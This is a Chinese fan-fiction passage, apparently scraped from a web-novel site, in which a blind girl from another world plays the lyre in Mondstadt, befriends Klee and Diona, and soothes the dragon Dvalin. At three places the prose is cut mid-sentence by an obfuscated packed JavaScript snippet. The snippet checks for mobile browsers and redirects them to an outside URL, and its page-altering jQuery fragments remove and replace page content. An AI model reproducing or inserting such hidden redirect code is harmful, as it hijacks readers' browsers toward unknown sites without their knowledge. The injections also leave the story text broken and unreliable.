希尔薇专注地演奏着,将异世界的旋律带给蒙德的听众。米蕾安静地藏在她浓密的金发里,偶尔探出头,好奇地看看周围被琴声吸引的人们。 演奏结束后,玛格丽特笑容满面地迎上来:“太棒了,希尔薇!客人们反响很好呢!这是你今天的酬劳。” 她将一个装着摩拉的小袋子塞到希尔薇手中,沉甸甸的分量让希尔薇的心也踏实了不少。“还有,想吃什么点心?今天新做的莓果松饼很不错哦!” 希尔薇感激地道谢,点了一份松饼和一杯果汁,坐在角落里安静地享用。食物的温暖和摩拉的实在感,让她感受到一种久违的安心。 结束工作回到葛罗丽家时,希尔薇发现葛罗丽正坐在门口的小凳子上,似乎在等她。 “希尔薇,你回来了!”葛罗丽听到她的脚步声,脸上露出温柔的笑容,“今天在酒馆还顺利吗?” “很顺利,葛罗丽。”希尔薇走到她身边坐下,声音里带着一丝轻松,“客人们似乎很喜欢那些曲子,老板也很满意。” “那就好!”葛罗丽由衷地为她高兴,“你知道吗,下午风从酒馆那边吹来的时候,我好像都听到你的琴声了呢,很特别,很好听。” 她顿了顿,语气变得有些犹豫和关切,“不过……希尔薇,我总觉得,你的琴声……好像有点……” “有点什么?”希尔薇轻声问。 “嗯……怎么说呢,”葛罗丽努力寻找着合适的词,她虽然看不见,但听觉和感受力异常敏锐,“很美,很精致,像月光下的溪流……但……好像少了点温度?”她有些不好意思地补充道,“这只是我的感觉,你别介意。” “你说得对,葛罗丽。”希尔薇沉默片刻,坦诚地承认了,声音里没有沮丧,“我的琴声……或许就像你说的那样。那是我过去被训练出来的技艺,就像……完成一项任务。至于感情……”她轻轻摇了摇头,没有再说下去。 葛罗丽摸索着握住希尔薇的手:“没关系的,希尔薇。音乐是心的语言,你现在在蒙德,是自由的。也许……只是需要一点时间。” 这时,葛罗丽像想起什么似的,摸索着从身边拿起一个用柔软布料包裹的长条形物品:“对了,这个给你!” 希尔薇有些疑惑地接过来,指尖触碰到熟悉的木质纹理和紧绷的琴弦,是一把里拉琴,虽然不如猫尾酒馆的华丽,但大小适中,木质温润,显然是精心挑选或保养过的。 “这是……”希尔薇惊讶地抚摸着琴身。 “是我以前用过的一把旧琴,”葛罗丽解释道,脸上带着温暖的笑意,“虽然不是什么名贵的琴,但音色还不错。自从眼睛看不见后,就很少弹了,放在家里也是闲置。我想,你每天带着酒馆的琴来回也不方便,不如就用这把吧?放在你房间里,想弹的时候随时都可以弹,不用在意是不是‘任务’,就当是……给自己的礼物?” “葛罗丽……谢谢你。”希尔薇的声音有些动容,“真的,非常感谢你。” 回到自己整洁的小房间,希尔薇将葛罗丽送的里拉琴小心地放在窗边的桌子上。月光洒在琴弦上,泛着柔和的光泽。她伸出手指,没有弹奏完整的曲子,只是随意地拨弄着琴弦,几个不成调的音符在寂静的房间里跳跃。 至于温迪的邀约……希尔薇望向窗外蒙德的夜空,暂时还是保持距离吧,她现在更需要重新认识自己声音的时间。 那位负责暗中观察她的修女罗莎莉亚,最近很少在她面前直接现身了。希尔薇能感觉到,罗莎莉亚似乎只是在她走过某些僻静小巷时,会短暂地跟在她身后一段距离,确认她的安全后,便又悄无声息地离去。 除了最初那次在门口,罗莎莉亚接受了希尔薇递出的那束风车菊后,这位气质冷冽的修女小姐便再没接受过希尔薇赠送的其他花朵,除了蒲公英。 希尔薇还记得罗莎莉亚接过蒲公英时,手指微微一顿,虽然没说什么,但那束花最终还是被她带走了。 这似乎成了两人之间一种无言的默契。希尔薇也因此养成了一个习惯:每天都会在门口那个小木箱里,放上一束新鲜的蒲公英。 这个季节蒲公英还没结籽,翠绿的茎秆顶着嫩黄的花朵,倒也清新可爱。 这天晚上,希尔薇刚把一束新采的蒲公英放进小木箱,正准备转身回屋,就听到身后传来一阵极力压抑却又控制不住的喷嚏声。 “阿——阿嚏!阿嚏!” 希尔薇脚步一顿,转过身。只见那个熟悉的绿衣吟游诗人,正一边揉着发红的鼻子,一边从旁边房屋的阴影里狼狈地走出来,看起来难受极了。 米蕾从希尔薇的发丝里 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他缓了口气,那双总是含着笑意的眼睛此刻带着点控诉看向希尔薇,“说起来,希尔薇小姐可真偏心呀。你愿意每次等罗莎莉亚小姐来的时候,都为她精心准备一束蒲公英,却不愿意应邀一位可怜诗人真挚的音乐交流?唉~诗人的心也是会受伤的哦。” 希尔薇只能干笑两声:“哈哈……这个……”她确实感到一丝歉意,但也庆幸葛罗丽应该已经睡下了,不然这个时间点吵醒她可不好。 月光如水,温柔地洒落在两人身上,也照亮了希尔薇那头柔顺的金发,泛着淡淡的银色光泽。 她安静地站在那里,面容在月色下显得格外柔和宁静。这画面,让原本还想抱怨几句的温迪微微愣了一下。 “真是……此情此景,最适合音乐了。”温迪轻声感叹,语气里充满了向往和惋惜,“要不是因为这恼人的猫毛……”他无奈地摊了摊手。 希尔薇沉默了片刻,然后做了一个她自己都有些意外的举动。她微微侧身,从门口的小木箱旁摸索了一下,小心地拿起了一束单独放置的、散发着清雅幽香的花束。 那是她白天路过花店时,被香气吸引买下的几支塞西莉亚花。 她朝着温迪的方向,轻轻递出了花束,“温迪先生,”她的声音在夜色中显得格外清晰柔和,“音乐暂时无法献上,这束塞西莉亚花,希望它的香气能让你感觉舒服些。” 温迪显然没料到这个举动。他先是惊讶地看着那束在月光下洁白无瑕的花朵,又抬头看向希尔薇带着真诚歉意的脸庞。 他眼中的惊讶慢慢化开,变成一种温暖而明亮的笑意,仿佛揉进了月光。 他小心翼翼地接过花束,塞西莉亚花特有的、清冽又带着一丝甜意的芬芳立刻萦绕在鼻尖。 “啊……希尔薇小姐……”温迪的声音里带着明显的、发自内心的愉悦,“这真是……太意外,也太令人惊喜的礼物了!谢谢你!” 5. 风语[五] 要不是葛罗丽提醒,希尔薇差点忘记自己还从蒙德图书馆借了一本书没还。 非常感激葛罗丽这些天一直陪她练习提瓦特通用语,在葛罗丽耐心的帮助下,希尔薇现在总算能听懂蒙德人日常说话的大致意思了。 这让她在城里走动方便了许多,不再像刚来时那样手足无措。 葛罗丽每天都有一个固定的习惯,她每天都会早早出门,坐在靠近歌德大酒店下方的一张长凳上。 她说,坐在那里,可以感受到从蒙德四面八方吹来的风,能听到风带来的各种故事和声音。 今天,两人也是一早就出了门,葛罗丽照例去她心爱的长凳上“听风”,而希尔薇则要去蒙德图书馆还书。 另外还有一件重要的事,葛罗丽请的女佣今天上午会来打扫她们的小屋。毕竟,指望两位视力不便的人和一只小小的妖精米蕾来彻底打扫房间,实在是太困难了。 出门前,米蕾倒是信心满满地想帮忙打扫,她努力地拍打着翅膀,试图召唤风的力量。结果,一阵微弱的小旋风只在房间里打转,成功吹起了希尔薇几缕金色的发丝,顺便卷走了地上的一小片灰尘。 看着自己努力却收效甚微,米蕾有些沮丧,小小的身体都气鼓鼓地绷紧了。 希尔薇感觉到了米蕾的低落,她伸出手,让米蕾落在自己的掌心,轻声安慰道:“没关系的,米蕾。你看,你能吹走那片灰尘,已经很棒了。” “而且,我们有请人来帮忙打扫,你不用为这个不开心的。”话落,米蕾蹭了蹭希尔薇的手指。 蒙德图书馆位于西风骑士团总部内部。希尔薇抱着书,在米蕾细心的方向指引下“左边,希尔薇!”“小心台阶!”,朝着骑士团的方向走去。 路上,她们遇到了几位巡逻的西风骑士,看到独自前来的盲眼少女,骑士主动停下脚步,热情地表示愿意牵着她或者带她去骑士团。 “谢谢你们的好意,”希尔薇微笑着,“不过不用麻烦各位骑士先生了。我有米蕾帮我指路呢,她可是很可靠的向导。”她轻轻点了点藏在她发间、只露出一个小脑袋的米蕾,骑士们也不再坚持,只是叮嘱她路上小心。 当希尔薇终于走进骑士团总部那庄严的大厅,并循着记忆和米蕾的提示走向图书馆时。 图书馆里,管理员丽莎小姐正单手支着头,懒洋洋地打了个大大的哈欠。她瞥了一眼墙上的挂钟,心里嘀咕着:啊……都十点多了……,什么时候才能回去好好补个觉呢…… 希尔薇来到丽莎身边,拿出了那本《提瓦特通用语教程》,“中午好,丽莎小姐,我来还书。” “哎呀,是小可爱你呀。”丽莎笑着接过了希尔薇手中的书,随意翻看了一下,“嗯,保存的很好。连折痕都没有呢。看来是一位真正爱惜书本的小可爱。” 希尔薇轻轻笑了笑,语气带着一丝怀念:“书本是很珍贵的东西呢。” 毕竟她原来的世界,书本是只有贵族才能拥有的东西。 丽莎又懒洋洋地打了个哈欠,然后笑眯眯地看向希尔薇:“听说猫尾酒馆新来了一位盲眼的演奏家,演奏的曲子更是闻所未闻呢。” 希尔薇将一缕金色的长发捋到耳后,笑容不变,坦然道:“丽莎小姐不是已经猜到了吗?我确实是来自其他的世界,包括我所演奏的音乐,也是来自那里。” “哎呀呀……”丽莎似乎没想到希尔薇会如此直接地说出来,紫色的眼眸中闪过一丝明显的愕然,但很快又被笑意取代。 这个时间,图书馆里空荡荡的没什么人。丽莎一只手撑着下巴,饶有兴致地看着希尔薇:“不知道我有没有那个荣幸,现在就能聆听一首来自异世界的曲子呢?” “诶?”希尔薇没想到丽莎会这样直接提出请求,她下意识地看了看四周,“我的里拉琴在葛罗丽家呢,而且这个时间段在图书馆演奏,还是不太方便吧?”她有些犹豫地摇了摇头。 “好吧,好吧。”丽莎也不强求,笑着摆摆手。 走出西风骑士团,离希尔薇去猫尾酒馆上班的时间还有一会儿,她打算在附近稍微逛逛。 正当她这么想着,忽然——“砰!”——她似乎撞到了什么东西!希尔薇一时没察觉,身体失去平衡,惊呼一声就跌倒在地上。耳边立刻响起米蕾焦急的声音:“希尔薇,你还好吗?” 紧接着是一个充满歉意、带着稚气的童音:“对不起,对不起!可莉不是故意的!可莉没有注意看路!”一个火红的小小身影慌乱地站在希尔薇旁边。 听到声响推开门查看的丽莎,看到这一幕无奈地扶额:“小可莉呀小可莉,你也太不小心了吧。希尔薇,你还好吗?” 希尔薇撑着冰凉的地板,慢慢站起身来,轻轻拍打着衣服上的灰尘。比起黑暗,这种突如其来的碰撞和跌倒带来的无所依靠的感觉,更让她难受。 米蕾忍不住,飞到可莉身边,气呼呼地说:“是你的错!” “希尔薇摔倒!” “对不起!”可莉再次真挚地道歉,大眼睛里满是愧疚。 “没关系的,……可莉。”希尔薇一边说,一边露出温和的笑容。她知道小孩子总是精力旺盛,容易疏忽。 可莉说什么也不放心,甚至还要陪着希尔薇去诊所看看,希尔薇连连摆手说自己真的没事。 丽莎却发现了不对劲,她那双紫色的眼睛眯了起来,带着审视的意味看向可莉:“可莉,这个时间点你不在骑士团,偷偷溜出来是想干什么呀?” 丽莎这一问,可莉立刻像被踩了尾巴的小猫,身体往后缩了缩,眼神躲闪,声音也变小了:“没……没想去干什么呀……” “该不会又想去星落湖炸鱼吧?”丽莎故意拖长了调子,带着洞悉一切的笑容,“再这样我就要告诉琴团长了哦。” 为了让可莉弥补自己的过失,丽莎特意安排道:“这样吧可莉,你今天一天就陪着希尔薇,好好照顾她,就当是弥补你的冒失。希尔薇正好要去猫尾酒馆上班,你就跟着她吧。” 希尔薇赶紧强调:“真的不用了丽莎小姐,我没事的。” 丽莎却笑得像只慵懒的猫:“孩子总是需要为自己的过错负责的,你说对吧,可莉?做错了事情就要接受小小的‘惩罚’哦。” 可莉站在希尔薇面前,虽然有点不情愿不能去玩,但还是乖乖地点头:“好……好吧,可莉,可莉知道了,可莉今天会好好帮助这位金发姐姐的。”她心里其实对这位盲眼姐姐是有几分好奇的。 然而,在陪希尔薇去猫尾酒馆的路上,可莉和米蕾却吵了起来。可莉不停地问东问西,米蕾则觉得可莉太吵闹会打扰希尔薇。 两个小家伙你一言我一语,声音不大但争执不休,吵得夹在中间的希尔薇感觉头都大了。她只能无奈地叹了口气,根据过去的经验,这个时候贸然插入孩子们的争论可不是明智之举。 走着走着,希尔薇忍不住想,“如何在音乐中体现感情呢?”她幼时接受的大多是用于赞美神明的曲子,那些表达其他情感的音乐是被严格禁止的。 “呼,”金发的少女轻轻吐出一口气,忽地想起自己第一次接触音乐时,弹奏的还不是现在的手持里拉琴,而是近乎有她半身高的大竖琴。 她不知怎的想起自己第一次拨动琴弦时,狄安娜眼中的喜悦。 其实,对于音乐,希尔薇内心是喜欢的吧。那个时候只有狄安娜,会偷偷地将外面世界的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969812|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐谱带给她,现在她在猫尾酒馆弹奏的曲子,也多是由迪安娜当年冒险找来的乐谱改编的。 坐在猫尾酒馆里的可莉一点也不拘谨,火红色的小女孩睁着大大的眼睛,好奇地打量着酒馆里的一切,特别是吧台上那些调酒器具和趴在角落的猫咪。 当希尔薇开始弹奏里拉琴时,可莉安静了下来,专注地倾听着。那陌生的旋律流淌出来,让可莉感到新奇又舒服。 等希尔薇弹奏完一曲,可莉立刻凑到她身边,小脸上满是真诚的赞叹:“你弹奏得真好听,金发的姐姐!像……像风在讲故事!” “哈哈,”希尔薇难得地被逗笑了,心情也明朗起来,她摸索着轻轻摸了摸可莉蓬松柔软的头发,“叫我希尔薇就好。” “好的,希尔薇姐姐!”可莉的声音清脆又充满活力。 可莉是个过分活泼,也是个过分可爱的孩子。跟她待在一起,时间仿佛过得特别快,她总有说不完的话和问不完的问题,充满了童真。当然,前提是她没有惹出麻烦的话。 闲聊中,可莉得知希尔薇来到蒙德后除了风起地还没去过其他地方,立刻兴奋起来。“希尔薇姐姐还没去过蒙德城外?那可不行!”她拉着希尔薇的手摇晃着,“城外可漂亮了!有好多好多会在晚上发光的小灯草,还有亮晶晶的晶蝶!” 希尔薇本能地想要拒绝。她一个看不见又没什么自保能力的盲人,怎么能在野外行动?而且听说城外有很多危险的魔物。 “可是可莉,城外有魔物,很危险的。” 可莉一听,立刻骄傲地挺起小胸膛,拍了拍挂在腰间那颗火红色的神之眼:“不用担心哦,希尔薇姐姐!可莉有神之眼的!可莉会保护你的!”希尔薇知道神之眼能赋予人操控元素的力量。但可莉明显年幼,她心里实在无法完全放心。 这时,连米蕾也被可莉描述的城外美景勾起了好奇心,飞到希尔薇耳边小声恳求:“希尔薇,我们也去看看吧?就一会儿?有可莉在,而且我们只在城边转转?”米蕾的声音里充满了对新鲜事物的向往。 看着眼前一大一小两个充满期待的身影,希尔薇心里叹了口气,知道不答应恐怕是不行了。她只能再三强调:“好吧……但是可莉,米蕾,我们只能在蒙德城附近,非常近的地方稍微看看,绝对不可以走远哦,而且看一眼就要马上回来。” “好耶!”可莉高兴地跳了起来,拍着胸脯保证,“可莉知道一条近路,可莉保证就在附近,绝对不走远!” 可莉答应的好好的,一开始也确实领着希尔薇和米蕾在蒙德城高耸城墙外围的绿地上走着。 微风拂面,带着青草和泥土的气息,希尔薇能听到附近风车转动的嘎吱声,还有远处果酒湖传来的水波声,这让她紧张的心情稍微放松了些。 “希尔薇姐姐,你看!”可莉兴奋的声音再次响起。 “嗯?”希尔薇还没反应过来,就感觉可莉拉着她的手改变了方向,脚步也加快了许多。 “那边有特别漂亮的日落果!可莉带你去摘!”风车的声音渐渐听不到了,取而代之的是更密集的树林沙沙声和更陌生的鸟鸣。 希尔薇顺从地跟着走,但心里隐隐觉得不对。脚下的路似乎变得崎岖不平,不再是平坦的草地。 空气中原本熟悉的、属于蒙德城方向的稳定风元素流动也减弱了,取而代之的是更原始、更狂野的自然气息,其中似乎还混杂着一些……不太友好的元素躁动? “可莉?”希尔薇停下脚步,握着里拉琴的手指不自觉地收紧,一种身处未知之地的茫然慢慢升起,“我们走了多久了,我感觉……好像离城很远了,你确定我们还在安全的地方吗?”她开始后悔自己的心软了。 6. 风语[六] 小小的孩子明显有点心虚了,声音也小了下去,带着点不确定:“可莉……可莉应该是没走错吧?日落果就在前面的小山坡后面……”她自己也有些不确定地东张西望起来。 周围茂密的树林和陌生的环境,让方向感本来就不太好的可莉也有些迷糊了。 “唉……”希尔薇轻轻叹了口气,心里充满了懊悔和担忧,果然就不应该相信小孩子关于“不走远”的保证。 如果只是她自己一个人,或许还能凭借对元素流动的模糊感知和米蕾的指引慢慢找回去。 但现在身边带着一个同样需要照顾、还容易闯祸的可莉,希尔薇的心一下子揪紧了。 她最害怕的事情发生了,迷路,而且在可能有魔物出没的野外。 就在这时,米蕾突然发出了一声紧张的尖细警告:“希尔薇!小心!前面……有东西过来了!” “感觉……感觉不太好!” 几乎同时,希尔薇也清晰地感知到了。前方的树林里,几股带着明显敌意和土腥味的元素波动正快速靠近! 那绝对不是友善的生物,她甚至能“听”到沉重的脚步声和低沉的咕噜声,是丘丘人,而且不止一个。 “糟了!”希尔薇的脸色变得苍白。她手里只有一把用来演奏的里拉琴,而且这把里拉琴还是猫尾酒馆的,她走的时候忘记还给玛格丽特了。 希尔薇下意识地将里拉琴横抱在身前,手指本能地搭在琴弦上,心脏在胸腔里狂跳不止。 可莉也立刻警觉起来,小小的身体爆发出与年龄不符的勇气,迅速挡在希尔薇身前。 小手已经飞快地探进了腰间那个鼓鼓囊囊的背包,那里装满了她心爱的“蹦蹦炸弹”。米蕾则紧张地环绕在希尔薇头顶,努力捕捉着风带来的每一丝讯息。 危险的气息如同实质般扑面而来,前方的草丛剧烈晃动,伴随着嚎叫声,三个手持粗糙木棒的丘丘人猛地冲了出来,带着浓浓的敌意。 “蹦蹦炸弹,去吧!”可莉没有丝毫犹豫,动作快得惊人。她娇喝一声,一个圆滚滚、画着可爱兔子图案的红色炸弹被她精准地扔向了冲在最前面的丘丘人! “希尔薇姐姐!快捂上耳朵!”可莉头也不回地大喊。 希尔薇反应极快,立刻将里拉琴紧紧夹在臂弯里,空出的双手死死捂住了自己的耳朵,同时下意识地微微蜷缩身体。 “轰——!!!” 一声震耳欲聋的巨响猛然爆发!希尔薇即使捂紧了耳朵,也感觉那恐怖的声浪,连脚下的地面都在剧烈震动。 一股灼热的气浪夹杂着泥土和草木碎屑扑面而来。她能清晰地“感知”到那股瞬间释放的、狂暴到难以想象的火元素力量,仿佛一轮小太阳在眼前炸开。 怪不得那位图书管理员放心让可莉一个人出去呢,哈哈。实际上,需要担心安全的只有她自己吧。 爆炸的烟尘尚未完全散去,希尔薇小心翼翼地松开捂耳朵的手,第一反应是去确认怀中的里拉琴是否完好。 米蕾也重新飞回她的肩头,声音带着惊叹和后怕:“可莉……好厉害!丘丘人……已经飞走了!”确实,爆炸中心只剩下一个焦黑的大坑,那几个丘丘人早被炸得无影无踪。 “嘿嘿,”可莉转过身,小脸上带着战斗胜利后的兴奋红晕,叉着腰,挺起小胸膛,“可莉可是很厉害的呢!西风骑士团火花骑士……”她自豪的话语还未说完,异变再生。 一股无法言喻的的元素威压,如同无形的潮水般从高天之上缓缓漫下。 它既带着古老森林般的沉静温和,又仿佛夹杂着一丝难以言喻的冰冷与混乱。 空气仿佛凝滞了一瞬,风也变得紊乱起来,林间弥漫开一种奇异的、令人隐隐不安的寂静。 希尔薇猛地抬起头,她的感知被这股庞大却充满矛盾的力量冲击着。她能“感觉”到,一个庞大到难以想象的生物,正从极高的天空带着沉重的气息降落。 那存在散发出的风元素,原本应如天空般纯净,此刻却像蒙上了一层晦暗的纱,透出……某种难以名状的痛苦? 更让希尔薇心惊的是,在那浩瀚的风元素深处,似乎还蛰伏着一种让她本能感到厌恶和排斥的、粘稠而阴冷的能量,如同潜伏的毒蛇。 “呜——!!!” 一声低沉、浑厚,却仿佛压抑着巨大痛苦的龙吟,撕裂了短暂的寂静。 狂暴的声浪带着紊乱的气流,将周围的树木吹得枝叶乱舞。 透过米蕾主动共享的“视野”,希尔薇“看”到了一个令她灵魂震颤的景象:一头巨大无比的、拥有流线型优雅身躯和四只强健翼爪的蓝色巨龙,正沉重地降落在前方不远处的空地上。 它的鳞片本应如同最纯净的蓝宝石,此刻却仿佛蒙尘,光泽黯淡,甚至在一些边缘处隐隐透出不祥的暗紫色纹路。 那双巨大的、如同熔融宝石般的龙瞳,此刻却布满了浑浊的血丝,眼神时而清明温和,时而充满痛苦和混乱。 米蕾与希尔薇的元素共享,越是强大的元素力,在希尔薇的感知中形象就越接近普通人所见,但更清晰,同时还能“看”见其内部剧烈的元素流动。 与之相反,普通元素力则只能感知大致轮廓和流动。 可莉的小脸瞬间失去了血色,“希尔薇姐姐,是龙。”她紧张地咽了咽口水,下意识地后退一步,小手紧紧抓住了希尔薇的衣角,声音带着难以置信的颤抖:“龙怎么会在这里?” 特瓦林巨大的头颅痛苦地甩动了一下,发出一声压抑的低吼。 它那双浑浊的龙瞳扫过地面上渺小的身影,扫过焦黑的坑洞,扫过紧张的可莉和希尔薇……最终,它的目光似乎艰难地聚焦在希尔薇抱在怀中的里拉琴上。 明明这头龙看起来如此痛苦,眼神混乱不堪,希尔薇却觉得这头龙,在向自己求救。 对,里拉琴,琴,或许可以缓解这头龙的痛苦。 呼,平心静气,希尔薇,平静下来。她深吸一口气,努力压下恐惧和身体的颤抖。 作为光元素亲和者,希尔薇在试图用她的那个世界赞美神明的疗愈曲子,沟通起此方世界的元素力。 以往牧师或者精灵在弹奏的时候,会在心底呼唤他们所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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琴声如同清澈的山泉,叮咚作响,带着一种奇异的、温暖而宁静的力量,开始在林间流淌。 希尔薇能感觉到,自己周围的元素,正随着她的琴音,化作点点纯净的微光,萦绕在琴弦之上,随着音符飘散开来。 是的,世界的法则是元素力需要以神之眼为媒介,但世界的法则或许并不能约束这位小小的外来者。 奇迹发生了。 当那带着温暖的琴音触及特瓦林庞大的身躯时,它体内那狂暴混乱、互相撕扯的两股力量仿佛被投入了一颗小小的石子。 “呜……”特瓦林发出一声不再是纯粹痛苦的、带着一丝困惑和茫然的低鸣。它周身狂暴翻腾的不稳定风元素,似乎有那么一瞬间的凝滞。 那布满血丝的龙瞳中,狂暴的痛苦之色似乎被琴音冲淡了一点点,一丝属于“特瓦林”本身的、久违的清明和温和,极其艰难地、如同风中残烛般微弱地闪烁了一下。 它没有攻击,没有咆哮,巨大的头颅反而微微低垂,仿佛在专注地倾听。 7. 风语[七] 那沉重如山岳般的威压,也奇异地减弱了几分,虽然那冰冷的污秽感依然盘踞在它体内深处。 琴声继续流淌,希尔薇忘记了恐惧,忘记了身处何地。她仿佛回到了卡尔迪特庄园那个寂静的阁楼,只有琴声是她唯一的慰藉。 此刻,她只为眼前这头承受着巨大痛苦的生灵而弹奏。 米蕾安静地落在希尔薇肩头,小小的身体散发出柔和的光晕,似乎在努力将自己的力量融入琴音。可莉看呆了,她紧紧捂住自己的小嘴,大眼睛里充满了震惊。 琴音化作无形的丝线,温柔地缠绕着痛苦挣扎的巨龙。特瓦林巨大的身躯随着旋律的起伏,微微地、几乎难以察觉地晃动,如同在忍受着体内剧烈的拉锯战。 那污秽的暗紫色纹路在纯净的琴音和微光中,似乎被压制得黯淡了一些。。 终于,一曲终了。最后一个音符如同叹息般消散在空气中。 ······ 等回到蒙德城将消息告诉代理团长琴后,希尔薇实在撑不住困倦,匆匆和葛罗丽打了个招呼,便沉沉睡去了。 等等,是不是忘了什么?对,那把里拉琴。算了,明天再还吧。 米蕾也已经在希尔薇特意为她准备的小房间里呼呼大睡。 第二天,希尔薇比预定的时间稍早一点到达猫尾酒馆。 没想到,比骑士团更先来找她的,是那个叫温迪的吟游诗人。他似乎对猫过敏,所以远远地站在猫尾酒馆外面等着。 得益于她所受的教育,希尔薇通常很准时,一点多就到了门口。感受到温迪的气息,希尔薇抱着竖琴的手不自觉地紧了紧,她又想起那个未能履行的邀约。 但温迪显然不是来问这个的,少年开口说道:“听说希尔薇小姐在野外安抚了特···一头龙?” 希尔薇沉默了一下,又是“听说”?你们蒙德的吟游诗人都这么消息灵通吗?连她在猫尾酒馆演奏就算了,昨晚她才把遇到龙的事情告诉骑士团,今天一早这位诗人就找上门了。 希尔薇温和地笑了笑:“详细情况我都告诉骑士团了。” 她敏锐地注意到温迪刚才差点说漏嘴,“特···一头龙”。那个没说完的名字“特”,很可能是那头龙的名字。温迪用这么熟悉的语气,很难不让人猜想他和龙有什么关系。 将大致情况告诉温迪后,金发的少女带着点无奈开口,“温迪先生。” “这就是我知道的全部情况了,”当然,她不会把自己呼唤了元素力的事情也告诉这位少年。 他们在猎鹿人餐馆坐下,希尔薇微微抿了一口苹果酒。原谅她不喜欢喝酒,一方面是因为卡尔迪特家族的家规,另一方面她觉得喝酒会影响自己清醒思考。 时间差不多,希尔薇正准备告别,那那位诗人突然可怜兮兮地看向她,真的是,太明显了啊,就算看不见也能感受的到的啊。 “亲爱的希尔薇小姐——”“碰!”苹果酒被希尔薇不小心洒出去一点,“请不要这样叫我,温迪先生。” “好吧,”少年应着声,“不知道你是否愿意帮帮一位可怜的、身上一个摩拉都没有的吟游诗人付账呢?” 为了尽快摆脱这个麻烦,希尔薇只好同意。更重要的是,快到她在酒馆演奏的时间了。 付完摩拉,希尔薇请莎拉小姐把剩下的苹果酒打包带走,粮食是很珍贵的东西,希尔薇可不愿意浪费粮食。 然后,等她转身,就听见米蕾说那位吟游诗人,居然,居然,将她的苹果酒喝完了。 “温迪!”希尔薇真的有点生气了。米蕾看热闹不嫌事大,也跟着叫:“温迪!温迪!” 不远处,出来找希尔薇的迪奥娜正好看到这一幕。她知道希尔薇一向最守时了,这个时候没来肯定是因为什么事情耽搁了。 迪奥娜气鼓鼓地走上前,先是指责了温迪几句,然后转身对希尔薇说:“希尔薇,别生气!我这就去给你调一杯好喝又不含酒精的饮料!” 完全搞错了状况的迪奥娜,还以为希尔薇生气是因为温迪喝了她的酒。 “谢谢你,迪奥娜,”希尔薇无力地回应。 蒙德人都是这么不拘小节吗?明明葛罗丽就不是这样的。最后,带着点怒气的希尔薇,领着米蕾和迪奥娜离开了,只留下一个在原地不停打喷嚏的吟游诗人。 玛格丽特见希尔薇来了,笑着把她引到演奏区。“希尔薇,你看·····啊!”她意识到自己说错了话,连忙补救,“你摸摸看,这是什么?”希尔薇伸出手,触碰到冰凉的木质和绷紧的琴弦。 这架竖琴很大,差不多有半人高,而且下面还有复杂的踏板装置。 “天啊!”希尔薇微微后退一步,她很清楚这样一架大型踏板竖琴有多昂贵。“玛格丽特,这…这太贵重了!” “怎么样,希尔薇?”玛格丽特语气带着点得意,“我可是费了不少心思呢!还专门问了米蕾这个小家伙。米蕾说你什么乐器都能弹,还说最适合弹大竖琴了!正好有人想出手这架琴,我就买下来了。” “谢谢你,玛格丽特。”希尔薇不知该说什么好,迪奥娜在旁边看看希尔薇,又看看竖琴,很肯定地说:“希尔薇,你和大竖琴一定很配。” 金发的少女光是坐在那里,就像是一首写给神明的赞歌。 今天,希尔薇弹奏了昨天安抚特瓦林的那首曲子。琴音流淌开来,带着一种安抚人心的力量,仿佛能涤净心灵。 酒馆里渐渐安静下来,连正在调酒的迪奥娜也不自觉地停下了手中的动作,侧耳倾听。 当最后一个音符消散,迪奥娜立刻围了上来:“希尔薇,你弹得好像和以前有点不一样了,尤其是这首曲子。” “不一样?”希尔薇有些困惑。 “嗯!”迪奥娜用力点头,“感觉……更……更温暖?还是更……哎呀,我说不清楚!但就是不一样,特别好听!” 有不少人都对希尔薇发出了邀请,希望她能在他们举办的舞会上演奏一曲。 虽然现在有酒馆的工作,并不怎么缺摩拉,但想到葛罗丽和自己的眼睛。既然这个世界存在着龙和精灵,那么应该也会有办法能治好眼睛吧? 而且,这些额外的演奏邀请能带来更多摩拉,于是,希尔薇都同意了。 在猎鹿人酒馆的露天座位上,温迪的目光若有所思地投向猫尾酒馆的方向。刚才那首曲子……他轻轻拨弄了一下手中的琴弦,低声自语:“献给神明的曲子吗?不……似乎又不是……”他笑了笑。 最后,当希尔薇无意间再次提到自己不喜欢喝酒时,迪奥娜的眼睛一下子亮得像星星! 她一把抓住希尔薇的手,兴奋地说:“我就知道!希尔薇!你果然和我一样!酒精什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969814|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最讨厌了!是坏东西!” 希尔薇轻轻地把手从迪奥娜热情的小手中抽出来,微笑着问:“迪奥娜,我可以摸摸你的耳朵吗?它们好像……很特别。” “咦?咦!嗯……”坐在吧台高脚凳上的迪奥娜犹豫了一下,微微向前探了探身子,有点不好意思地说:“好、好吧。不过只能摸一下下哦!”她紧张地抖了抖耳朵。 希尔薇伸出手,指尖轻柔地碰触到那毛茸茸的、带着体温的猫耳。触感非常柔软,还能感觉到耳朵在她指尖下敏感地微微颤动。 